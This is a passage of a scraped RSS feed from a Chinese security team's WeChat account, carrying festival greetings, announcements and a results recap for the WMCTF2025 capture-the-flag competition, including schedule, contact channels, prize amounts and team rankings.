src="https://wechat2rss.xlab.app/img-proxy/?k=7c89bb42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibtxsRYLCF9T0TS74iaL70g7e0NDX7pGnzdDpuI3YHSwwZnYDJ0xxeYOSdZlbWXQ86ibF54TSgfN5VKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b5fb6ceb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515406%26idx%3D2%26sn%3D57b4984dd35b4ccba1bbb4570a7c64af">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 29 Dec 2025 19:08:00 +0800</pubDate>
    </item>
    <item>
      <title>白帽一百祝您中秋节快乐！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515267&amp;idx=1&amp;sn=0f4e380ec5e3b2cf4316c4590cfe88f6</link>
      <description>白帽一百安全攻防实验室祝各位师傅中秋快乐，合家幸福！！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-10-06 12:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>白帽一百安全攻防实验室祝各位师傅中秋快乐，合家幸福！！</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=780fe97a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvFnmibkN6licaAXH8ic656TZlD34sRicPWPwNBics9iaBibV6cuy0PHnFYsZzoOFos5d7tcjic3bgKqCD8xA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">白帽一百祝您中秋节快乐！</h1> <p id="js_image_desc" class="share_notice js_underline_content "></p> <div id="js_shoptag_area" class="wx_shoptag_area "></div> <div id="js_shopprofile_area" class="wx_shopprofile_area "></div> <!---->   <div id="js_article_area" class="wx_live_area "></div> <!----> <div id="js_read_area" class="wx_live_area "></div> <div id="js_game_profile_area" class="wx_live_area " style="display:none;"></div> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary claim_source_block "><!----> <!----></div></div> <div id="js_end_poi_area" class="end_poi_area "></div> <div id="js_publish_source" class="publish_source "></div> </div>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b9aa2518&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvFnmibkN6licaAXH8ic656TZl5FLhA4TIKBZV1WBIQeOhBAzSC8TohX5fQaCcKhFayVSCrm3oZ2yialQ%2F0%3Fwx_fmt%3Djpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bb3b05eb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515267%26idx%3D1%26sn%3D0f4e380ec5e3b2cf4316c4590cfe88f6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 06 Oct 2025 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>WMCTF2025 圆满落幕~</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515247&amp;idx=1&amp;sn=3fc8a6838d6cfaf0111b6435eb21c4b7</link>
      <description>WMCTF2025圆满落幕</description>
      <content:encoded><![CDATA[<p>
原创 <span>W&amp;amp;M</span> <span>2025-09-24 20:02</span> <span style="display: inline-block;">浙江</span>
</p>

<p>WMCTF2025圆满落幕</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3275e806&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibsSiclIsibvJrdYgE9godJCIfRmxZ4BegxhAMlAuYAUXPUBR04bdMibbYXrkyaqr0ZAI0rRTEcvRv8jA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="markdown编辑器" data-website="https://markdown.com.cn/editor" style="" data-pm-slice="0 0 []"><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;margin: 0px 0px 20px;padding: 0px;line-height: 1.8em;color: rgb(58, 58, 58);text-align: center;"><strong style="font-weight: bold;color: black;"><span leaf="">排行榜</span></strong></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="259" data-backw="518" data-imgfileid="100031595" data-ratio="0.5009259259259259" data-s="300,640" type="block" data-type="png" data-w="1080" style="width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb129df1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibsSiclIsibvJrdYgE9godJCIf2n5Jm9VLMPEUk0OhWkJwkOJWia8DrWuoibTicK43JelbmbZF2WKO6x4VA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="markdown.com.cn编辑器" style="font-weight: bold;color: black;font-size: 22px;line-height: 1.5em;margin-top: 2.2em;margin-bottom: 35px;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: linear-gradient(#fff 60%, #ffb11b 40%);color: #515151;padding: 2px 13px 2px;margin-right: 3px;height: 50%;"><strong style="font-weight: bold;color: black;"><span leaf="">WMCTF2025</span></strong></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">截止2025年09月21日10:00 (UTC+8)，WMCTF 2025顺利落幕。本场赛事由W&amp;M战队主办。赛事共吸引来自全球的30个国家和地区，近千支队伍参赛，近一千六百人参与此次赛事。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">经过24小时的激烈比拼，联合战队MNGA以9692分摘得桂冠；联合战队SU凭借6709分荣获第二名；0psu3联合战队也以6709分夺得赛事第三名。这里特别恭喜MNGA战队二连冠，师傅们太强了！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-backh="230" data-backw="518" data-imgfileid="100031596" data-ratio="0.44351851851851853" data-s="300,640" type="block" data-type="png" data-w="1080" style="width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b2c4e18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibsSiclIsibvJrdYgE9godJCIfR1ibkHrdRiaKliaQEWYib2nbnV0Ad5632ATibdE2PyHQ6xnbgTpQiaASDO4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="markdown.com.cn编辑器" style="font-weight: bold;color: black;font-size: 22px;line-height: 1.5em;margin-top: 2.2em;margin-bottom: 35px;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: linear-gradient(#fff 60%, #ffb11b 40%);color: #515151;padding: 2px 13px 2px;margin-right: 3px;height: 50%;"><strong style="font-weight: bold;color: black;"><span leaf="">推陈出新、紧跟实战</span></strong></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">W&amp;M战队秉承着打造好玩又贴近实战的CTF，让每个选手在WMCTF找到家的感觉，将队员发现的好知识点分享给大家，让大家能在做题中收获新知识的理念出发。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">今年难度稳中有进，截止比赛结束，仍有6道赛题未被解出，有9道题只有一血，这里也欢迎各位感兴趣的师傅继续研究赛题，有问题的可以在官方交流群交流。当然，有趣的题目还有很多很多，我们尽量扩展了题目方向 让每个方向的参与者都有机会做到自己擅长的题目。</span></p><h2 data-tool="markdown.com.cn编辑器" style="font-weight: bold;color: black;font-size: 22px;line-height: 1.5em;margin-top: 2.2em;margin-bottom: 35px;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: linear-gradient(#fff 60%, #ffb11b 40%);color: #515151;padding: 2px 13px 2px;margin-right: 3px;height: 50%;"><strong style="font-weight: bold;color: black;"><span leaf="">详细战报</span></strong></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">9月20日上午10点整打响了比赛第一枪，一场速度与激情、技能与意志、智慧与策略的激烈碰撞瞬间点燃了比赛现场。开局仅17分钟，SU战队斩获 </span><strong style="font-weight: bold;color: black;"><span leaf="">[MEDIUM]catfriend</span></strong><span leaf=""> 一血，紧接着，多支队伍陆续解出该题。比赛场内“火药味”十足。随后DAWN，Vidar-Team等队伍相继斩获不同赛题的一血，</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">截止9月21日凌晨12点，共有13题拿下一血，相当于平均一小时就有一道题被攻克，可见大家都将全身心投入到这场大赛中，为了最后的胜利，正在努力拼搏，更是有大量队伍凌晨依旧在努力做题提升排名。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">最终MNGA以解出15道赛题稳居第一，同时拥有5道赛题的一血，2道二血，且MNGA战队的密码题全部是一血解出，其中还有2题是全场唯一解，师傅牛逼！SU战队凭借2道一血题，4道二血题，共12题获得第二！0psu3和SU战队同分，最后夺得第三！辛苦师傅们👍👍👍</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">Syclover，Vidar-Team和Polaris紧随其后获得四五六名</span></p><h2 data-tool="markdown.com.cn编辑器" style="font-weight: bold;color: black;font-size: 22px;line-height: 1.5em;margin-top: 2.2em;margin-bottom: 35px;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: linear-gradient(#fff 60%, #ffb11b 40%);color: #515151;padding: 2px 13px 2px;margin-right: 3px;height: 50%;"><strong style="font-weight: bold;color: black;"><span leaf="">总结</span></strong></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">本次比赛前一个半月，我们就已经提交比赛信息到CTFtime，但是因为某些原因CTFtime官方没给通过，我们明年会继续和对方沟通。同时，本次比赛开赛第一天的上午，平台可能存在一些问题，我们收到反馈后也在第一时间去进行修复，但是还是很抱歉给师傅们带来不是特别好的体验（磕两个，年年考年年错。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">虽然有小插曲，但是非常感谢大家对我们的包容。向每一位倾情投入、不懈奋战的参赛选手，致以最诚挚的感谢！ 向所有取得优异成绩和突破自我的队伍表示热烈的祝贺！向所有支持本次比赛运行的出题人和幕后人员表示感谢！<span textstyle="" style="font-weight: bold;">特别感谢本次WMCTF2025战略合作伙伴陌陌安全和永信至诚！</span></span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">本次比赛已经结束，但是我们对网络安全的探索永无止境。我们希望，WMCTF不仅仅是一场CTF，更是希望大家回想起当初选择网络安全的初衷和热情。再次感谢大家选择参加WMCTF，我们期待在不久的将来，能够再次在赛场上看到你们的身影！</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0 0 20px;padding: 0;line-height: 1.8em;color: #3a3a3a;"><span leaf="">再次感谢大家的参与！我们将吸取本次比赛的经验教训，期待在下一次比赛中与大家再次相见，携手创造更多精彩瞬间。大家明年见！</span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247515247">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cb9b11dc&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515247%26idx%3D1%26sn%3D3fc8a6838d6cfaf0111b6435eb21c4b7">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Sep 2025 20:02:00 +0800</pubDate>
    </item>
    <item>
      <title>WMCTF2025 明天不见不散～</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515241&amp;idx=1&amp;sn=ff578b2e55bef5edcc127171d6d6ae4c</link>
      <description>比赛链接：https://wmctf.wm-team.cn/&#xA;&#xA;比赛时间：2025年09月20日 10:00 (UTC+8) ~ 2025年09月21日 10:00 (UTC+8)&#xA;&#xA;QQ群：727697644&#xA;&#xA;邮 箱：ctf[AT]wm-team.cn&#xA;&#xA;Discord: https://discord.gg/UrYYynD5ww&#xA;&#xA;合作伙伴：陌陌安全、永信至诚</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-09-19 14:17</span> <span style="display: inline-block;">浙江</span>
</p>

<p>比赛链接：https://wmctf.wm-team.cn/</p>
<p>比赛时间：2025年09月20日 10:00 (UTC+8) ~ 2025年09月21日 10:00 (UTC+8)</p>
<p>QQ群：727697644</p>
<p>邮 箱：ctf[AT]wm-team.cn</p>
<p>Discord: https://discord.gg/UrYYynD5ww</p>
<p>合作伙伴：陌陌安全、永信至诚</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ad4c99e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibv4anRibFib9qgc1sS0cm3aAq0n5uFyn7s3xlr0ibl3KCY9ubf34lG1pAWNxJa2QCqVJz2zDDicxNZlCA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">WMCTF2025 明天不见不散～</h1> <p id="js_image_desc" class="share_notice js_underline_content "></p> <div id="js_shoptag_area" class="wx_shoptag_area "></div> <div id="js_shopprofile_area" class="wx_shopprofile_area "></div> <!---->   <div id="js_article_area" class="wx_live_area "></div> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary claim_source_block "><!----> <!----></div></div> <div id="js_end_poi_area" class="end_poi_area "></div> <div id="js_publish_source" class="publish_source "></div> </div>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=56c0485a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibv4anRibFib9qgc1sS0cm3aAqlpdwB6FVCURUgVQ9P6iaLduo2vOCsJusicibtoQn9yq7xgcDXAPAXltMg%2F0%3Fwx_fmt%3Djpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f575a145&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515241%26idx%3D1%26sn%3Dff578b2e55bef5edcc127171d6d6ae4c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 19 Sep 2025 14:17:00 +0800</pubDate>
    </item>
    <item>
      <title>WMCTF2025 周六开赛</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515233&amp;idx=1&amp;sn=ca4585c841ca925a830834ffcc423182</link>
      <description>比赛链接：https://wmctf.wm-team.cn/&#xA;&#xA;比赛时间：2025年09月20日 10:00 (UTC+8) ~ 2025年09月21日 10:00 (UTC+8)&#xA;&#xA;QQ群：727697644&#xA;&#xA;邮 箱：ctf[AT]wm-team.cn&#xA;&#xA;Discord: https://discord.gg/UrYYynD5ww&#xA;&#xA;合作伙伴：陌陌安全</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-09-18 13:01</span> <span style="display: inline-block;">浙江</span>
</p>

<p>比赛链接：https://wmctf.wm-team.cn/</p>
<p>比赛时间：2025年09月20日 10:00 (UTC+8) ~ 2025年09月21日 10:00 (UTC+8)</p>
<p>QQ群：727697644</p>
<p>邮 箱：ctf[AT]wm-team.cn</p>
<p>Discord: https://discord.gg/UrYYynD5ww</p>
<p>合作伙伴：陌陌安全</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f8b9c3ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibuV6qCwszpR2hXOrSNn2Dk4vRTkQIZbUWLwmW1j3aunOvFjASoNCFwPmraYL5T1rS8RpddTLjKntA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">WMCTF2025 周六开赛</h1> <p id="js_image_desc" class="share_notice js_underline_content "></p> <div id="js_shoptag_area" class="wx_shoptag_area "></div> <div id="js_shopprofile_area" class="wx_shopprofile_area "></div> <!---->   <div id="js_article_area" class="wx_live_area "></div> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary claim_source_block "><!----> <!----></div></div> <div id="js_end_poi_area" class="end_poi_area "></div> <div id="js_publish_source" class="publish_source "></div> </div>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=475280b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibuV6qCwszpR2hXOrSNn2Dk4hvjEtH43nKH2rXeCuJvdpZBsf3jQiapybL9D89Ix4jEAQfA4xfPQMbg%2F0%3Fwx_fmt%3Djpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b87039bd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515233%26idx%3D1%26sn%3Dca4585c841ca925a830834ffcc423182">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Sep 2025 13:01:00 +0800</pubDate>
    </item>
    <item>
      <title>WMCTF2025 翩然而至</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515223&amp;idx=1&amp;sn=b4f9bd7fcb277b86d426a8be32a93995</link>
      <description>WMCTF2025 翩然而至</description>
      <content:encoded><![CDATA[<p>
原创 <span>W&amp;amp;M</span> <span>2025-09-13 09:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>WMCTF2025 翩然而至</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7ce25a8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibtYtHTfW9pE0U4PvDdKEC33fiahDCtmTsib4CtJrHVZdBcjpGSibbv8F8J02daLpicDoWNH99pfP4eYtg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="markdown编辑器" data-website="https://markdown.com.cn/editor" style="font-size: 16px;padding: 25px 30px;word-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: justify;margin-top: -10px;line-height: 1.25;color: #2b2b2b;font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.04) 3%, rgba(0, 0, 0, 0) 3%), linear-gradient(360deg, rgba(50, 0, 0, 0.04) 3%, rgba(0, 0, 0, 0) 3%);background-size: 20px 20px;background-position: center center;" data-pm-slice="0 0 []"><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;display: block;border-bottom: 4px solid #40B8FA;"><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;"><span leaf="">0x01 赛事背景</span></span><span style="display: flex;box-sizing: border-box;width: 200px;height: 10px;border-top-left-radius: 20px;background: RGBA(64, 184, 250, .5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h2><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><strong style="color: #3594F7;font-weight: bold;"><span leaf="">「「WMCTF」</span><strong style="color: #3594F7;font-weight: bold;"><span leaf="">「由知名战队W&amp;M发起，至今已成功举办六届，吸引了包括中国、美国、俄罗斯、印度、日本等在内的50多个国家和地区的上千支参赛队伍，在全球赢得了良好口碑，更是连续五年在CTF-TIME获」</span></strong><span leaf="">「满分评价」」</span></strong></p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2025年，W&amp;M战队继续聚焦国际视野，着眼前沿技术，希冀带来一场网络安全领域的瞩目盛宴，吸引更多才华横溢的选手投身网络安全行业。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;display: block;border-bottom: 4px solid #40B8FA;"><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;"><span leaf="">0x02 赛事简介</span></span><span style="display: flex;box-sizing: border-box;width: 200px;height: 10px;border-top-left-radius: 20px;background: RGBA(64, 184, 250, .5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h2><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">WMCTF2025 由W&amp;M战队主办。本次赛题难度全面升级，采用在线解题（Jeopardy）模式，面向全球网络安全爱好者开放。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;display: block;border-bottom: 4px solid #40B8FA;"><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;"><span leaf="">0x03 赛事详情</span></span><span style="display: flex;box-sizing: border-box;width: 200px;height: 10px;border-top-left-radius: 20px;background: RGBA(64, 184, 250, .5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h2><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">报名链接</span></span><span style="display: none;"></span></h3><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf=""><a href="https://wmctf.wm-team.cn/" target="_blank">https://wmctf.wm-team.cn/</a></span></p><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">题目类型</span></span><span style="display: none;"></span></h3><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">包括但不限于Pwnable, Reversing, Crypto, Web, IoT, Steg和Misc等网络安全领域的主要知识与技能。</span></p><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">参赛队伍</span></span><span style="display: none;"></span></h3><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">面向全球所有战队</span></p><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">赛程安排</span></span><span style="display: none;"></span></h3><h4 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span style="height: 16px;line-height: 16px;font-size: 16px;"><strong style="color: #3594F7;font-weight: bold;"><span leaf="">「报名时间：」</span></strong></span><span style="display: none;"></span></h4><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">即日起至比赛结束</span></p><h4 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span style="height: 16px;line-height: 16px;font-size: 16px;"><strong style="color: #3594F7;font-weight: bold;"><span leaf="">「比赛时间：」</span></strong></span><span style="display: none;"></span></h4><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">2025年09月20日 10:00 (UTC+8) ~ 2025年09月21日 10:00 (UTC+8)</span></p><h4 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span style="height: 16px;line-height: 16px;font-size: 16px;"><strong style="color: #3594F7;font-weight: bold;"><span leaf="">「比赛时长：」</span></strong></span><span style="display: none;"></span></h4><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">24小时</span></p><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">奖项设置：</span></span><span style="display: none;"></span></h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;color: #595959;list-style-type: circle;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">第一名 4096元；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">第二名 2048元；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">第三名 1024元；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">第四 - 第六名精美周边 x N ；</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: #2b2b2b;margin: 10px 0px;letter-spacing: 2px;font-size: 14px;word-spacing: 2px;"><span leaf="">PS:部分题目中含有隐藏彩蛋奖励</span></p><h3 data-tool="markdown.com.cn编辑器" style="color: black;font-size: 17px;font-weight: bold;text-align: center;margin-top: 20px;margin-bottom: 20px;"><span style="display: none;"></span><span style="border-bottom: 2px solid RGBA(79, 177, 249, .65);color: #2b2b2b;padding-bottom: 2px;"><span leaf="">排名规则：</span></span><span style="display: none;"></span></h3><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;list-style-type: decimal;font-size: 15px;color: #595959;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span leaf="">大多数情况下，flag的形式为WMCTF{this_is_a_sample_flag}，请提交包含WMCTF{}的完整flag，来进行得分；如果flag是其他形式，题目中会阐明；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-size: 14px;font-weight: normal;color: #595959;"><span 